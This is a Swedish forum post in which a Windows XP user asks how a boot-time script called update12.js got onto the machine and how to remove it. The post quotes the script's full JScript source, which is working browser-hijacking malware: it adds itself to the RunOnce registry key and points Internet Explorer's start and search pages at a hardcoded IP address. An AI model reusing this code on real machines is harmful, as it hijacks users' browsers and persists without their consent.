update12.js ändrar default startsida i IE

Har ett relativt nyinstallerat WinXP PRO system och trodde att det var 'rent'. Men det har smugit in sig ett litet kryp i windows mappen. En fil som heter updater12.js och körs i varje boot av datorn. Jag undrar om någon vet vart ifrån den kan tänkas komma, eller hur jag får bort anropet till filen i booten. Den hittas i bootsekvensen av McAfees virus skydd.
Hittade ett nyckelnamn i regsitret

HKEY_USERS\S-1-5-21-1757981266-436374069-725345543-1003\Software\Microsoft\Search Assistant\ACMru\5603

Så här ser filen ut

var url = "http://81.211.105.9/index.php?v=2";
var burl = "http://81.211.105.9/search.php?v=2";
var fso = new ActiveXObject("Scripting.FileSystemObject");
var tfolder = fso.GetSpecialFolder(0);
var filepath = tfolder + "\\update12.js";
var Shell = new ActiveXObject("WScript.Shell");
Shell.RegWrite("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\tlc",filepath);
Shell.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page",url);
Shell.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Search Page",url);
Shell.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Search Bar",burl);
Shell.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Use Search Asst","no");
Shell.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Use Custom Search URL",1,"REG_DWORD");